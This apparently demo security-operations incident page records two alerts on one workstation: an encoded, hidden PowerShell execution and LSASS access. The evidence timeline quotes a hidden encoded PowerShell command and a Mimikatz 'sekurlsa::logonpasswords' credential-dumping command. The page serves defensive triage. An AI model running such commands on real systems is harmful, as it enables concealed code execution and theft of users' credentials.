Suspicious PowerShell activity followed by credential access
🛡️ ProPera Intelligence background analysis - no action needed to view
⏳
Correlating behaviour, intelligence and relationships…Details
Incident IDINC-01001 (1001)
Created2026-08-18 20:07 UTC
Last updated2026-08-18 22:07 UTC
Assigned tosoc
Tagspowershelltriage
SourceDemo
Alerts2
Devices & Users
Devicescorp-wks-1187
Usersj.doe@propera.local
DeterminationUnknown
Alerts in this incident 2
| Alert | Severity | Status | Category | Device | User | MITRE |
|---|---|---|---|---|---|---|
| Suspicious PowerShell command line (encoded command) | High | New | SuspiciousCommandLine | corp-wks-1187 | j.doe@propera.local | T1059.001 |
| LSASS process access (potential credential dumping) | High | New | CredentialAccess | corp-wks-1187 | j.doe@propera.local | T1003.001T1055 |
Evidence timeline
20:07:49 UTC · Process
Encoded PowerShell execution
powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
20:07:49 UTC · File
Downloaded payload
C:\Users\j.doe\Downloads\payload.bin
20:07:49 UTC · Network
Connection to known C2
20:07:49 UTC · Process
Access to LSASS from unusual process
mimikatz.exe sekurlsa::logonpasswords
C:\Windows\Temp\mimikatz.exe
20:07:49 UTC · Auth
Failed logon followed by successful logon
Comments & updates
💬
No comments yet.Update incident
